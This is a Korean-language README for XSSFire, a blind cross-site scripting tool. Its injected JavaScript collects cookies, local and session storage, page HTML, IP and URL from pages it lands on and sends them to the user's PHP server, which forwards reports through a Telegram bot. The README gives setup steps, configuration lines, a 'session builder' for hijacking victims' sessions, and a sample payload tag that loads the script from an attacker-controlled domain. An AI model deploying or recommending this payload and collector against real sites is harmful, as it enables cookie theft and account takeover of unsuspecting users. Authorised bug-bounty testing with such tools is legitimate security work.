XSSFire
독립형 블라인드 XSS 스크립트.
작동 방식:
이 스크립트는 PHP와 JavaScript의 조합으로, JS를 사용하여 데이터를 캡처한 후 스크립트 자체로 전송하고, 그다음 보고서 파일을 생성하여 텔레그램을 통해 전달합니다.
요구 사항:
- 도메인과 SSL 인증서가 있는 Linux에서 실행되는 웹 서버.
- 텔레그램 계정 (BXSS 보고서 수신용)
왜 텔레그램인가?
설정이 쉽습니다.
빠릅니다.
접근성이 좋습니다.
기능:
- 캡처 항목: IP, User-Agent, 날짜-시간, Local Storage, Session Storage, Cookies, Referrer, Origin, URL, HTML, Iframe에서 실행된 경우
- 세션 빌더: 세션을 재구성할 수 있는 JavaScript로, 캡처된 URL과 devtools를 연 다음 콘솔에 붙여넣고 Enter를 누르면 됩니다. 운이 좋다면 세션을 탈취할 수 있습니다.
- 텔레그램 알림: 이메일보다 빠르고 설정하기 쉬우며 접근성이 더 좋습니다.
- 안티 스팸: 각 캡처된 URL에 대해 한두 번의 알림만 받아야 합니다. 다만, 스크립트는 주기적으로 초기화되어 나중에 다시 알려줍니다.
- 암호화: 스크립트에 비밀번호를 설정할 수 있으며, 텔레그램으로 받는 보고서는 비밀번호로 보호된 zip 파일이 됩니다. (텔레그램 봇은 종단 간 암호화를 사용하지 않습니다.)
- HTML 스냅샷: 보고서와 함께 전달되는 HTML 파일로, 대상 페이지와 유사하게 보여야 합니다.
설정:
- 텔레그램에 가서 @botfather와 대화를 시작합니다.
- 채팅에서 /start를 입력하고 새 봇을 만듭니다.
- 봇을 만들면 봇 토큰을 받아야 합니다.
- 토큰을 따로 저장해 둡니다.
- 이제 새로 만든 봇 채팅에 가서 시작한 다음 인사말을 보냅니다.
- 그런 다음
https://api.telegram.org/bot<bot_token>/getUpdates로 이동합니다.
- 그리고 채팅 ID를 저장합니다.
- XSSFire 스크립트를 열고 다음 줄을 수정합니다:
$chat_id = "<Telegram Chat ID>"; // Your Telegram Chat ID
$token = "<Telegram Bot Access Token>"; // Your telegram Bot Access token
$password = False; //Protect the Blind XSS Report with a password. Leave as False if not used.
- 스크립트를 서버에 업로드합니다.
페이로드를 생성하려면 Blind-XSS-Manager https://github.com/SeifElsallamy/Blind-XSS-Manager 를 사용하는 것이 좋습니다.
이 확장 프로그램을 통해 도메인 필드에 yourdomain.com/
참고: 파일 이름을 index.php로 변경하고 서버의 메인 디렉터리에 업로드하면 페이로드를 더 짧게 만들 수 있으며, 페이로드는 <script src="https://yourdomain.com"></script>와 비슷한 형태가 됩니다.
스냅샷:
GPT-3에 감사합니다 xD